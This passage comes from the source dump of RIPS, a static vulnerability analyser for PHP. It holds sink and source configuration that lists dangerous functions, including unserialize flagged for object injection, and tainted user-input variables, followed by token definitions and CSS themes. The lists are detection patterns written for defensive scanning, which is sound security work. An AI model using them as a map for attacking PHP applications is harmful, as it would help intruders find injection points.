array()),\n\t\t'extract'\t\t\t\t\t\t=> array(array(1), array()),\n\t\t'mb_parse_str'\t\t\t\t\t=> array(array(1), array()),\n\t\t'parse_str'\t\t\t\t\t\t=> array(array(1), array()),\n\t\t'putenv'\t\t\t\t\t\t=> array(array(1), array()),\n\t\t'set_include_path'\t\t\t\t=> array(array(1), array()),\n\t\t'apache_setenv'\t\t\t\t\t=> array(array(1,2), array()),\n\t\t'define'\t\t\t\t\t\t=> array(array(1), array()),\n\t\t'is_a'\t\t\t\t\t\t\t=> array(array(1), array()) // calls __autoload()\n\t);\n\n\t// property oriented programming with unserialize\n\t$NAME_POP = 'PHP Object Injection';\n\t$F_POP = array(\n\t\t'unserialize'\t\t\t\t\t=> array(array(1), array()), // calls gadgets\n\t\t'yaml_parse'\t\t\t\t\t=> array(array(1), array())\t // calls unserialize\n\t);\n\n\t// XML\n\t//simplexml_load_string\n\n\n\t# interruption vulnerabilities\n\t# trim(), rtrim(), ltrim(), explode(), strchr(), strstr(), substr(), chunk_split(), strtok(), addcslashes(), str_repeat() htmlentities() htmlspecialchars(), unset()\n"
  },
  {
    "path": "config/sources.php",
    "content": "<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\nfinal class Sources\n{\n\t// userinput variables\n\tpublic static $V_USERINPUT = array(\n\t\t'$_GET',\n\t\t'$_POST',\n\t\t'$_COOKIE',\n\t\t'$_REQUEST',\n\t\t'$_FILES',\n\t\t'$_SERVER',\n\t\t'$HTTP_GET_VARS',\n\t\t'$HTTP_POST_VARS',\n\t\t'$HTTP_COOKIE_VARS',\n\t\t'$HTTP_REQUEST_VARS',\n\t\t'$HTTP_POST_FILES',\n\t\t'$HTTP_SERVER_VARS',\n\t\t'$HTTP_RAW_POST_DATA',\n\t\t'$argc',\n\t\t'$argv'\n\t);\n\n\tpublic static $V_SERVER_PARAMS = array(\n\t\t'HTTP_ACCEPT',\n\t\t'HTTP_ACCEPT_LANGUAGE',\n\t\t'HTTP_ACCEPT_ENCODING',\n\t\t'HTTP_ACCEPT_CHARSET',\n\t\t'HTTP_CONNECTION',\n\t\t'HTTP_HOST',\n\t\t'HTTP_KEEP_ALIVE',\n\t\t'HTTP_REFERER',\n\t\t'HTTP_USER_AGENT',\n\t\t'HTTP_X_FORWARDED_FOR',\n\t\t// all HTTP_ headers can be tainted\n\t\t'PHP_AUTH_DIGEST',\n\t\t'PHP_AUTH_USER',\n\t\t'PHP_AUTH_PW',\n\t\t'AUTH_TYPE',\n\t\t'QUERY_STRING',\n\t\t'REQUEST_METHOD',\n\t\t'REQUEST_URI', // partly urlencoded\n\t\t'PATH_INFO',\n\t\t'ORIG_PATH_INFO',\n\t\t'PATH_TRANSLATED',\n\t\t'REMOTE_HOSTNAME',\n\t\t'PHP_SELF'\n\t);\n\n\t// file content as input\n\tpublic static $F_FILE_INPUT = array(\n\t\t'bzread',\n\t\t'dio_read',\n\t\t'exif_imagetype',\n\t\t'exif_read_data',\n\t\t'exif_thumbnail',\n\t\t'fgets',\n\t\t'fgetss',\n\t\t'file',\n\t\t'file_get_contents',\n\t\t'fread',\n\t\t'get_meta_tags',\n\t\t'glob',\n\t\t'gzread',\n\t\t'readdir',\n\t\t'read_exif_data',\n\t\t'scandir',\n\t\t'zip_read'\n\t);\n\n\t// database content as input\n\tpublic static $F_DATABASE_INPUT = array(\n\t\t'mysql_fetch_array',\n\t\t'mysql_fetch_assoc',\n\t\t'mysql_fetch_field',\n\t\t'mysql_fetch_object',\n\t\t'mysql_fetch_row',\n\t\t'pg_fetch_all',\n\t\t'pg_fetch_array',\n\t\t'pg_fetch_assoc',\n\t\t'pg_fetch_object',\n\t\t'pg_fetch_result',\n\t\t'pg_fetch_row',\n\t\t'sqlite_fetch_all',\n\t\t'sqlite_fetch_array',\n\t\t'sqlite_fetch_object',\n\t\t'sqlite_fetch_single',\n\t\t'sqlite_fetch_string'\n\t);\n\n\t// other functions as input\n\tpublic static $F_OTHER_INPUT = array(\n\t\t'get_headers',\n\t\t'getallheaders',\n\t\t'get_browser',\n\t\t'getenv',\n\t\t'gethostbyaddr',\n\t\t'runkit_superglobals',\n\t\t'import_request_variables'\n\t);\n\n\t//\t'getenv' and 'apache_getenv'\n\t// will be automatically added if 'putenv' or 'apache_setenv' with userinput is found\n}\n"
  },
  {
    "path": "config/tokens.php",
    "content": "<?php\n/**\n\nRIPS - A static source code analyser for vulnerabilities in PHP scripts\n\tby Johannes Dahse (johannes.dahse@rub.de)\n\n\nCopyright (C) 2012 Johannes Dahse\n\nThis program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.\n\nThis program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License along with this program; if not, see <http://www.gnu.org/licenses/>.\n\n**/\n\n// define own token for include ending\ndefine('T_INCLUDE_END', 10000);\n\n// added in php 5.3\nif ( ! defined('T_GOTO'))                                     define('T_GOTO', 10001);\nif ( ! defined('T_NAMESPACE'))                                define('T_NAMESPACE', 10002);\nif ( ! defined('T_NS_C'))                                     define('T_NS_C', 10003);\nif ( ! defined('T_NS_SEPARATOR'))                             define('T_NS_SEPARATOR', 10004);\nif ( ! defined('T_USE'))                                      define('T_USE', 10005);\n\n// added in php 5.4\nif ( ! defined('T_INSTEADOF'))                                define('T_INSTEADOF', 10006);\nif ( ! defined('T_TRAIT'))                                    define('T_TRAIT', 10007);\nif ( ! defined('T_TRAIT_C'))                                  define('T_TRAIT_C', 10008);\n\n// added in php 5.5\nif ( ! defined('T_FINALLY'))                                  define('T_FINALLY', 10009);\nif ( ! defined('T_YIELD'))                                    define('T_YIELD', 10010);\nif ( ! defined('T_YIELD_FROM'))                               define('T_YIELD_FROM', 10011);\n\n// added in php 5.6\nif ( ! defined('T_ELLIPSIS'))                                 define('T_ELLIPSIS', 10012);\nif ( ! defined('T_POW'))                                      define('T_POW', 10013);\nif ( ! defined('T_POW_EQUAL'))                                define('T_POW_EQUAL', 10014);\n\n// added in php 7.0\nif ( ! defined('T_COALESCE'))                                 define('T_COALESCE', 10015);\nif ( ! defined('T_SPACESHIP'))                                define('T_SPACESHIP', 10016);\n\n// added in php 7.4\nif ( ! defined('T_COALESCE_EQUAL'))                           define('T_COALESCE_EQUAL', 10017);\nif ( ! defined('T_FN'))                                       define('T_FN', 10018);\n\n// added in php 8.0\nif ( ! defined('T_ATTRIBUTE'))                                define('T_ATTRIBUTE', 10019);\nif ( ! defined('T_MATCH'))                                    define('T_MATCH', 10020);\nif ( ! defined('T_NAME_FULLY_QUALIFIED'))                     define('T_NAME_FULLY_QUALIFIED', 10021);\nif ( ! defined('T_NAME_QUALIFIED'))                           define('T_NAME_QUALIFIED', 10022);\nif ( ! defined('T_NAME_RELATIVE'))                            define('T_NAME_RELATIVE', 10023);\nif ( ! defined('T_NULLSAFE_OBJECT_OPERATOR'))                 define('T_NULLSAFE_OBJECT_OPERATOR', 10024);\n\n// added in php 8.1\nif ( ! defined('T_ENUM'))                                     define('T_ENUM', 10025);\nif ( ! defined('T_READONLY'))                                 define('T_READONLY', 10026);\nif ( ! defined('T_AMPERSAND_NOT_FOLLOWED_BY_VAR_OR_VARARG'))  define('T_AMPERSAND_NOT_FOLLOWED_BY_VAR_OR_VARARG', 10027);\nif ( ! defined('T_AMPERSAND_FOLLOWED_BY_VAR_OR_VARARG'))      define('T_AMPERSAND_FOLLOWED_BY_VAR_OR_VARARG', 10028);\n\nfinal class Tokens\n{\n\t// tokens to ignore while scanning\n\tpublic static $T_IGNORE = array(\n\t\tT_BAD_CHARACTER,\n\t\tT_DOC_COMMENT,\n\t\tT_COMMENT,\n\t\t//T_ML_COMMENT,\n\t\tT_INLINE_HTML,\n\t\tT_WHITESPACE,\n\t\tT_OPEN_TAG,\n\t\t//T_CLOSE_TAG,\n\t);\n\n\t// code blocks that should be ignored as requirement\n\tpublic static $T_LOOP_CONTROL = array(\n\t\t//T_DO, // removed, because DO..WHILE is rewritten to WHILE\n\t\tT_WHILE,\n\t\tT_FOR,\n\t\tT_FOREACH,\n\t);\n\n\t// control structures\n\tpublic static $T_FLOW_CONTROL = array(\n\t\tT_IF,\n\t\tT_SWITCH,\n\t\tT_CASE,\n\t\tT_ELSE,\n\t\tT_ELSEIF,\n\t);\n\n\t// variable assignment tokens\n\tpublic static $T_ASSIGNMENT = array(\n\t\tT_AND_EQUAL,\n\t\tT_CONCAT_EQUAL,\n\t\tT_DIV_EQUAL,\n\t\tT_MINUS_EQUAL,\n\t\tT_MOD_EQUAL,\n\t\tT_MUL_EQUAL,\n\t\tT_OR_EQUAL,\n\t\tT_PLUS_EQUAL,\n\t\tT_POW_EQUAL,\n\t\tT_SL_EQUAL,\n\t\tT_SR_EQUAL,\n\t\tT_XOR_EQUAL,\n\t\tT_COALESCE_EQUAL,\n\t);\n\n\t// variable assignment tokens that prevent tainting\n\tpublic static $T_ASSIGNMENT_SECURE = array(\n\t\tT_DIV_EQUAL,\n\t\tT_MINUS_EQUAL,\n\t\tT_MOD_EQUAL,\n\t\tT_MUL_EQUAL,\n\t\tT_OR_EQUAL,\n\t\tT_PLUS_EQUAL,\n\t\tT_POW_EQUAL,\n\t\tT_SL_EQUAL,\n\t\tT_SR_EQUAL,\n\t\tT_XOR_EQUAL,\n\t);\n\n\t// condition operators\n\tpublic static $T_OPERATOR = array(\n\t\tT_IS_EQUAL,\n\t\tT_IS_GREATER_OR_EQUAL,\n\t\tT_IS_IDENTICAL,\n\t\tT_IS_NOT_EQUAL,\n\t\tT_IS_NOT_IDENTICAL,\n\t\tT_IS_SMALLER_OR_EQUAL,\n\t\tT_SPACESHIP,\n\t\tT_COALESCE,\n\t);\n\n\t// all function call tokens\n\tpublic static $T_FUNCTIONS = array(\n\t\tT_STRING, // all functions\n\t\tT_EVAL,\n\t\tT_INCLUDE,\n\t\tT_INCLUDE_ONCE,\n\t\tT_REQUIRE,\n\t\tT_REQUIRE_ONCE,\n\t);\n\n\t// including operation tokens\n\tpublic static $T_INCLUDES = array(\n\t\tT_INCLUDE,\n\t\tT_INCLUDE_ONCE,\n\t\tT_REQUIRE,\n\t\tT_REQUIRE_ONCE,\n\t);\n\n\t// XSS affected operation tokens\n\tpublic static $T_XSS = array(\n\t\tT_PRINT,\n\t\tT_ECHO,\n\t\tT_OPEN_TAG_WITH_ECHO,\n\t\tT_EXIT,\n\t);\n\n\t// securing operation tokens\n\tpublic static $T_CASTS = array(\n\t\tT_BOOL_CAST,\n\t\tT_DOUBLE_CAST,\n\t\tT_INT_CAST,\n\t\tT_UNSET_CAST,\n\t\tT_UNSET,\n\t);\n\n\t// tokens that will have a space before and after in the output, besides $T_OPERATOR and $T_ASSIGNMENT\n\tpublic static $T_SPACE_WRAP = array(\n\t\tT_AS,\n\t\tT_BOOLEAN_AND,\n\t\tT_BOOLEAN_OR,\n\t\tT_LOGICAL_AND,\n\t\tT_LOGICAL_OR,\n\t\tT_LOGICAL_XOR,\n\t\tT_SL,\n\t\tT_SR,\n\t\tT_CASE,\n\t\tT_ELSE,\n\t\tT_GLOBAL,\n\t\tT_NEW,\n\t);\n\n\t// arithmetical operators to detect automatic typecasts\n\tpublic static $T_ARITHMETIC = array(\n\t\tT_INC,\n\t\tT_DEC,\n\t);\n\n\t// arithmetical operators to detect automatic typecasts\n\tpublic static $S_ARITHMETIC = array(\n\t\t'+',\n\t\t'-',\n\t\t'*',\n\t\t'/',\n\t\t'%',\n\t\tT_POW,\n\t);\n\n\t// strings that will have a space before and after in the output besides $S_ARITHMETIC\n\tpublic static $S_SPACE_WRAP = array(\n\t\t'.',\n\t\t'=',\n\t\t'>',\n\t\t'<',\n\t\t':',\n\t\t'?',\n\t);\n}\n"
  },
  {
    "path": "css/ayti.css",
    "content": "#scrollwindow {\n\tbackground-color: grey;\n\topacity:0.22;\n}\n\n.userinput, .persistent {\n\tlist-style-type: disc;\n\tcolor:white;\n}\n.validated {\n\tlist-style-type: disc;\n\tcolor:red;\n}\n.functioninput {\n\tlist-style-type: disc;\n\tcolor:yellow;\n}\n\n.vulnblock {\n\tbackground-color:#223344;\n\tcolor:#FFCC44;\n\tfont-weight:bold;\n}\n\n.codebox {\n\tmargin-bottom: 10px;\n\tbackground-color: #101820;\n}\n\n.windowcontent, .filecanvas, #funccodecontent, #funccodetitle, .funclistcontent {\n\tbackground-color: #101820;\n}\n\n.markline {\n\tbackground-color: #334455;\n}\n\n.requires\n\t{color: #D2A8A1; font-weight:bold;}\n\n.linenr\n\t{color: #888;}\n\n.link\n\t{color: #6262F0; font-weight:bold;}\n\n.vulntitle, .code {\n\tfont-size:9pt;\n\tfont-family: \"Bitstream Vera Sans Mono\", \"Monaco\", \"Courier New\", monospace;\n}\n\n.code,\n.phps-code, .phps-t-curly-open, .phps-t-dollar-open-curly-braces, .vulntitle\n\t{color: white;  }\n\n.phps-t-string,\n.phps-t-eval,\n.phps-t-print,\n.phps-t-include,\n.phps-t-include-once,\n.phps-t-require,\n.phps-t-require-once,\n.phps-t-isset,\n.phps-t-empty,\n.phps-t-while,\n.phps-t-do,\n.phps-t-try,\n.phps-t-catch,\n.phps-t-exit,\n.phps-t-unset,\n.phps-t-list,\n.phps-t-array,\n.phps-t-echo,\n.phps-t-start-heredoc,\n.phps-t-end-heredoc\n\t{color: #FFFFFF;}\n/*E1E1F9*/\n\n.phps-t-open-tag,\n.phps-t-close-tag,\n.phps-t-and-equal,\n.phps-t-concat-equal,\n.phps-t-div-equal,\n.phps-t-minus-equal,\n.phps-t-mod-equal,\n.phps-t-mul-equal,\n.phps-t-or-equal,\n.phps-t-plus-equal,\n.phps-t-sl-equal,\n.phps-t-sr-equal,\n.phps-t-xor-equal,\n.phps-t-is-equal,\n.phps-t-is-greater-or-equal,\n.phps-t-is-identical,\n.phps-t-is-not-equal,\n.phps-t-is-not-identical,\n.phps-t-object-operator,\n.phps-t-double-colon,\n.phps-t-paamayim-nekudotayim,\n.phps-t-if,\n.phps-t-isset,\n.phps-t-exclaim,\n.phps-t-for,\n.phps-t-foreach,\n.phps-t-return,\n.phps-t-double-arrow,\n.phps-t-as,\n.phps-t-or,\n.phps-t-case,\n.phps-t-default,\n.phps-t-break,\n.phps-t-continue,\n.phps-t-goto,\n.phps-t-and,\n.phps-t-xor,\n.phps-t-boolean-or,\n.phps-t-boolean-and,\n.phps-t-global,\n.phps-t-logical-and,\n.phps-t-logical-or,\n.phps-t-else,\n.phps-t-elseif,\n.phps-t-switch,\n.phps-t-use,\n.phps-t-var,\n.phps-t-inc,\n.phps-t-dec,\n.phps-t-function,\n.phps-t-public,\n.phps-t-private,\n.phps-t-protected,\n.phps-t-static,\n.phps-t-class,\n.phps-t-new,\n.phps-t-bool-cast,\n.phps-t-double-cast,\n.phps-t-int-cast,\n.phps-t-unset-cast,\n.phps-t-file,\n.phps-t-line,\n.phps-t-dir,\n.phps-t-func-c, .phps-t-class-c,\n.phps-t-method-c,\n.phps-t-ns-c\n\t{color: #9467FC;}\n\n.phps-t-const\n\t{color: #CF6A4C;}\n\n.phps-t-variable,\n.phps-t-variable-marked,\n.phps-t-string-varname,\n.funclistline\n\t{color: #768FEB;}\n\n.phps-t-variable-marked\n\t{background-color:darkred;}\n\n.phps-tainted-var\n\t{color: #AAC8FD;}\n\n.phps-t-lnumber\n\t{color: #CF6A4C}\n\n.phps-t-encapsed-and-whitespace,\n.phps-t-constant-encapsed-string\n\t{color: #FFCE42;}\n/* FFCE42 */\n.phps-t-inline-html\n\t{color: #FFCE42;}\n\n.phps-t-comment,\n.phps-t-ml-comment,\n.phps-t-doc-comment\n\t{color: #3F4852}\n"
  },
  {
    "path": "css/barf.css",
    "content": "#scrollwindow {\n\tbackground-color: grey;\n\topacity:0.22;\n}\n\n.menu {\n\tbackground-color: #1D261B;\n}\n\ninput[type=\"text\"],select {\n\tcolor: #000 !important;\n\tbackground: #99A298 !important;\n}\n\n\n.userinput, .persistent {\n\tlist-style-type: disc;\n\tcolor:white;\n}\n.validated {\n\tlist-style-type: disc;\n\tcolor:red;\n}\n.functioninput {\n\tlist-style-type: disc;\n\tcolor:yellow;\n}\n\n.codebox {\n\tmargin-bottom: 10px;\n\tbackground-color: #0D1219;\n}\n\n.vulnblock {\n\tbackground-color:#283325;\n\tcolor:#94F877;\n\tfont-weight:bold;\n}\n\n.windowcontent, #funccodecontent, #funccodetitle, .funclistcontent  {\n\tbackground-color: #0D1219;\n}\n\n.markline {\n\tbackground-color: #243245;\n}\n\n.requires\n\t{color: #697B8F; font-weight:bold;}\n\n.linenr\n\t{color: #888;}\n\n.link\n\t{color: #EEF2F7; font-weight:bold;}\n\n.code, .vulntitle {\n\tfont-size:9pt;\n\tfont-family: \"Bitstream Vera Sans Mono\", \"Monaco\", \"Courier New\", monospace;\n}\n\n.code,\n.phps-code, .phps-t-curly-open, .phps-t-dollar-open-curly-braces, .vulntitle\n\t{color: #EEF2F7; }\n\n.phps-t-string,\n.phps-t-eval,\n.phps-t-print,\n.phps-t-include,\n.phps-t-include-once,\n.phps-t-require,\n.phps-t-require-once,\n.phps-t-isset,\n.phps-t-empty,\n.phps-t-while,\n.phps-t-do,\n.phps-t-exit,\n.phps-t-try,\n.phps-t-catch,\n.phps-t-unset,\n.phps-t-list,\n.phps-t-array,\n.phps-t-echo,\n.phps-t-start-heredoc,\n.phps-t-end-heredoc,\n.phps-t-if,\n.phps-t-for,\n.phps-t-foreach,\n.phps-t-else,\n.phps-t-elseif,\n.phps-t-switch,\n.phps-t-bool-cast,\n.phps-t-double-cast,\n.phps-t-int-cast,\n.phps-t-unset-cast,\n.phps-t-file,\n.phps-t-line,\n.phps-t-dir,\n.phps-t-func-c, .phps-t-class-c,\n.phps-t-method-c,\n.phps-t-ns-c\n\t{color: #EFF3F8;}\n\n.phps-t-open-tag,\n.phps-t-close-tag,\n.phps-t-and-equal,\n.phps-t-concat-equal,\n.phps-t-div-equal,\n.phps-t-minus-equal,\n.phps-t-mod-equal,\n.phps-t-mul-equal,\n.phps-t-or-equal,\n.phps-t-plus-equal,\n.phps-t-sl-equal,\n.phps-t-sr-equal,\n.phps-t-xor-equal,\n.phps-t-is-equal,\n.phps-t-is-greater-or-equal,\n.phps-t-is-identical,\n.phps-t-is-not-equal,\n.phps-t-is-not-identical,\n.phps-t-inc,\n.phps-t-dec,\n.phps-t-object-operator,\n.phps-t-double-colon,\n.phps-t-paamayim-nekudotayim,\n.phps-t-exclaim,\n.phps-t-double-arrow,\n.phps-t-as,\n.phps-t-or,\n.phps-t-case,\n.phps-t-default,\n.phps-t-break,\n.phps-t-continue,\n.phps-t-goto,\n.phps-t-and,\n.phps-t-xor,\n.phps-t-global,\n.phps-t-logical-and,\n.phps-t-logical-or,\n.phps-t-boolean-or,\n.phps-t-boolean-and,\n.phps-t-use,\n.phps-t-var\n\t{color: #697A8E;}\n\n.phps-t-function,\n.phps-t-public,\n.phps-t-private,\n.phps-t-protected,\n.phps-t-static,\n.phps-t-class,\n.phps-t-new,\n.phps-t-const,\n.phps-t-return\n\t{color: #94F877;}\n\n.phps-t-variable, .phps-t-string-varname, .funclistline, .phps-t-variable-marked\n\t{color: #708E67;}\n\n.phps-t-variable-marked\n\t{background-color:darkred;}\n\n.phps-tainted-var\n\t{color: #7FC16B;}\n\n.phps-t-lnumber\n\t{color: #EEF2F7}\n\n.phps-t-encapsed-and-whitespace,\n.phps-t-constant-encapsed-string\n\t{color: #5C81B3;}\n\n.phps-t-inline-html\n\t{color: #F9EE98;}\n\n.phps-t-comment,\n.phps-t-ml-comment,\n.phps-t-doc-comment\n\t{color: #6E6E6E;}\n"
  },
  {
    "path": "css/code-dark.css",
    "content": "#scrollwindow {\n\tbackground-color: grey;\n\topacity:0.22;\n}\n\n.menu {\n\tbackground-color:#010101;\n}\n\n\ninput[type=\"text\"],select {\n\tcolor: #000 !important;\n\tbackground-color:#797979 !important;\n}\n\n.userinput, .persistent {\n\tlist-style-type: disc;\n\tcolor:white;\n}\n.validated {\n\tlist-style-type: disc;\n\tcolor:red;\n}\n.functioninput {\n\tlist-style-type: disc;\n\tcolor:yellow;\n}\n\n.codebox {\n\tmargin-bottom: 10px;\n\tbackground-color: #222222;\n}\n\n.vulnblock {\n\tbackground-color:#111111;\n\tcolor:#FBFB97;\n\tfont-weight:bold;\n}\n\n.windowcontent , #funccodecontent, #funccodetitle, .funclistcontent {\n\tbackground-color: #222222;\n}\n\n\n.code, .vulntitle\n\t{font-family: \"Bitstream Vera Sans Mono\", \"Monaco\", \"Courier New\", monospace; font-size:9pt; }\n\n.markline {\n\tbackground-color: #531107;\n}\n\n.requires,\n.linenr\n\t{color: #888888;}\n\n.link\n\t{color:#D78787; font-weight:bold; text-decoration:underline;}\n\n.code,\n.phps-code,\n.phps-t-dollar-open-curly-braces,\n.phps-t-curly-open,\n.phps-t-open-tag,\n.phps-t-close-tag,\n.phps-t-and-equal,\n.phps-t-concat-equal,\n.phps-t-div-equal,\n.phps-t-minus-equal,\n.phps-t-mod-equal,\n.phps-t-mul-equal,\n.phps-t-or-equal,\n.phps-t-plus-equal,\n.phps-t-sl-equal,\n.phps-t-sr-equal,\n.phps-t-xor-equal,\n.phps-t-is-equal,\n.phps-t-is-greater-or-equal,\n.phps-t-is-identical,\n.phps-t-is-not-equal,\n.phps-t-is-not-identical,\n.phps-t-inc,\n.phps-t-dec,\n.phps-t-object-operator,\n.phps-t-double-colon,\n.phps-t-paamayim-nekudotayim\n\t{color: #D78787;}\n\n.phps-t-if,\n.phps-t-while,\n.phps-t-do,\n.phps-t-exit,\n.phps-t-try,\n.phps-t-catch,\n.phps-t-isset,\n.phps-t-exclaim,\n.phps-t-for,\n.phps-t-foreach,\n.phps-t-return,\n.phps-t-double-arrow,\n.phps-t-as,\n.phps-t-or,\n.phps-t-case,\n.phps-t-default,\n.phps-t-break,\n.phps-t-continue,\n.phps-t-goto,\n.phps-t-and,\n.phps-t-boolean-or,\n.phps-t-boolean-and,\n.phps-t-logical-or,\n.phps-t-logical-and,\n.phps-t-xor,\n.phps-t-global,\n.phps-t-and,\n.phps-t-isset,\n.phps-t-empty,\n.phps-t-unset,\n.phps-t-else,\n.phps-t-elseif,\n.phps-t-switch,\n.phps-t-array,\n.phps-t-bool-cast,\n.phps-t-double-cast,\n.phps-t-int-cast,\n.phps-t-unset-cast,\n.phps-t-file,\n.phps-t-line,\n.phps-t-dir,\n.phps-t-func-c, .phps-t-class-c,\n.phps-t-method-c,\n.phps-t-ns-c\n\t{color: #87AFD7;}\n\n.phps-t-variable, .phps-t-string-varname, .funclistline, .phps-t-variable-marked\n\t{color: #AFAFD7;}\n\n.phps-t-variable-marked\n\t{background-color:darkred;}\n\n.phps-tainted-var\n\t{color: #5959E2;}\n\n.phps-t-string,\n.phps-t-eval,\n.phps-t-const\n\t{color: #D7AFD7;}\n\n.phps-t-lnumber\n\t{color: #D7AF87;}\n\n.phps-t-encapsed-and-whitespace,\n.phps-t-constant-encapsed-string\n\t{color: #FFFFAF;}\n\n.phps-t-echo,\n.phps-t-start-heredoc,\n.phps-t-end-heredoc,\n.phps-t-function,\n.phps-t-public,\n.phps-t-private,\n.phps-t-protected,\n.phps-t-static,\n.phps-t-class,\n.phps-t-new,\n.phps-t-print,\n.phps-t-include,\n.phps-t-include-once,\n.phps-t-require,\n.phps-t-require-once,\n.phps-t-use\n\t{color: #AFD787;}\n\n.phps-t-inline-html\n\t{color: #D0D0D0;}\n\n.phps-t-comment,\n.phps-t-ml-comment,\n.phps-t-doc-comment\n\t{color: #808080}\n"
  },
  {
    "path": "css/espresso.css",
    "content": "#scrollwindow {\n\tbackground-color: grey;\n\topacity:0.22;\n}\n\n.menu {\n\tbackground-color: #351F12;\n}\n\n\ninput[type=\"text\"],select {\n\tcolor: #000 !important;\n\tbackground: #968B85 !important;\n}\n\n\n.userinput, .persistent {\n\tlist-style-type: disc;\n\tcolor:white;\n}\n.validated {\n\tlist-style-type: disc;\n\tcolor:red;\n}\n.functioninput {\n\tlist-style-type: disc;\n\tcolor:yellow;\n}\n\n.codebox {\n\tmargin-bottom: 10px;\n\tbackground-color: #2A211C;\n}\n\n.vulnblock {\n\tbackground-color:#23150D;\n\tcolor:#049B0A;\n\tfont-weight:bold;\n}\n\n.windowcontent , #funccodecontent, #funccodetitle, .funclistcontent {\n\tbackground-color: #2A211C;\n}\n\n.markline {\n\tbackground-color: #1E3F06;\n}\n\n.requires\n\t{color: #43A8ED; font-weight:bold;}\n\n.linenr\n\t{color: #888;}\n\n.link\n\t{color: #2F5FE0; font-weight:bold;}\n\n.code, .vulntitle {\n\tfont-size:9pt;\n\tfont-family: \"Bitstream Vera Sans Mono\", \"Monaco\", \"Courier New\", monospace;\n}\n\n.code,\n.phps-code, .phps-t-curly-open, .phps-t-dollar-open-curly-braces, .vulntitle\n\t{color: #BDAE9D; }\n\n.phps-t-string,\n.phps-t-eval,\n.phps-t-print,\n.phps-t-include,\n.phps-t-include-once,\n.phps-t-require,\n.phps-t-require-once,\n.phps-t-isset,\n.phps-t-empty,\n.phps-t-while,\n.phps-t-do,\n.phps-t-exit,\n.phps-t-try,\n.phps-t-catch,\n.phps-t-unset,\n.phps-t-list,\n.phps-t-array,\n.phps-t-echo,\n.phps-t-start-heredoc,\n.phps-t-end-heredoc\n\t{color: #FFCE42;}\n\n\n.phps-t-open-tag,\n.phps-t-close-tag,\n.phps-t-and-equal,\n.phps-t-concat-equal,\n.phps-t-div-equal,\n.phps-t-minus-equal,\n.phps-t-mod-equal,\n.phps-t-mul-equal,\n.phps-t-or-equal,\n.phps-t-plus-equal,\n.phps-t-sl-equal,\n.phps-t-sr-equal,\n.phps-t-xor-equal,\n.phps-t-is-equal,\n.phps-t-is-greater-or-equal,\n.phps-t-is-identical,\n.phps-t-is-not-equal,\n.phps-t-is-not-identical,\n.phps-t-inc,\n.phps-t-dec,\n.phps-t-object-operator,\n.phps-t-double-colon,\n.phps-t-paamayim-nekudotayim,\n.phps-t-if,\n.phps-t-switch,\n.phps-t-exclaim,\n.phps-t-for,\n.phps-t-foreach,\n.phps-t-return,\n.phps-t-double-arrow,\n.phps-t-as,\n.phps-t-or,\n.phps-t-case,\n.phps-t-default,\n.phps-t-break,\n.phps-t-continue,\n.phps-t-goto,\n.phps-t-and,\n.phps-t-xor,\n.phps-t-global,\n.phps-t-logical-and,\n.phps-t-logical-or,\n.phps-t-boolean-or,\n.phps-t-boolean-and,\n.phps-t-else,\n.phps-t-elseif,\n.phps-t-use,\n.phps-t-var,\n.phps-t-function,\n.phps-t-public,\n.phps-t-private,\n.phps-t-protected,\n.phps-t-static,\n.phps-t-class,\n.phps-t-new,\n.phps-t-bool-cast,\n.phps-t-double-cast,\n.phps-t-int-cast,\n.phps-t-unset-cast,\n.phps-t-file,\n.phps-t-line,\n.phps-t-dir,\n.phps-t-func-c, .phps-t-class-c,\n.phps-t-method-c,\n.phps-t-ns-c\n\t{color: #43A8ED; font-weight: bold; }\n\n.phps-t-const\n\t{color: #C5656B;}\n\n.phps-t-variable, .phps-t-string-varname, .funclistline, .phps-tainted-var\n\t{color: #0066FF;}\n\n.phps-t-variable-marked\n\t{background-color:darkred;color:#4B91FB;}\n\n.phps-tainted-var\n\t{color: #4B91FB;}\n\n.phps-t-lnumber\n\t{color: #C4BDA1;}\n\n.phps-t-encapsed-and-whitespace,\n.phps-t-constant-encapsed-string\n\t{color: #EEEEEE;}\n\n.phps-t-inline-html\n\t{color: #F9EE98;}\n\n.phps-t-comment,\n.phps-t-ml-comment,\n.phps-t-doc-comment\n\t{color: #534A44; font-style: italic;}\n"
  },
  {
    "path": "css/notepad++.css",
    "content": "#scrollwindow {\n\tbackground-color: grey;\n\topacity:0.22;\n}\n\nbody, html {\n\tcolor: #111111;\n}\n\n.textcolor {\n\tcolor: #ffffff;\n}\n\n.darkcolor {\n\tcolor: black;\n}\n\n.userinput, .persistent {\n\tlist-style-type: disc;\n\tcolor:grey;\n}\n.validated {\n\tlist-style-type: disc;\n\tcolor:red;\n}\n.functioninput {\n\tlist-style-type: disc;\n\tcolor:yellow;\n}\n\n.vulnblock {\n\tbackground-color:#D4D0C8;\n\tcolor:black;\n\tfont-weight:bold;\n}\n\n.codebox {\n\tmargin-bottom: 10px;\n\tbackground-color: #ffffff;\n}\n\n.windowcontent, #funccodecontent, #funccodetitle, .funclistcontent  {\n\tbackground-color: #ffffff;\n\topacity:0.95;\n}\n\n.markline {\n\tbackground-color: #EF9486;\n}\n\n.requires\n\t{color: #000000; font-weight:bold;}\n\n.linenr\n\t{color: #808080;}\n\n.link\n\t{color: #0000FF; font-weight:bold;}\n\n\n.code, .vulntitle {\n\tfont-size:9pt;\n\tfont-family: \"Bitstream Vera Sans Mono\", \"Monaco\", \"Courier New\", monospace;\n}\n\n.code,\n.phps-code, .phps-t-curly-open, .phps-t-dollar-open-curly-braces, .vulntitle\n\t{color: #8000FF;  font-weight: bold;}\n\n.phps-t-string,\n.phps-t-eval\n\t{color: #000000; font-weight: 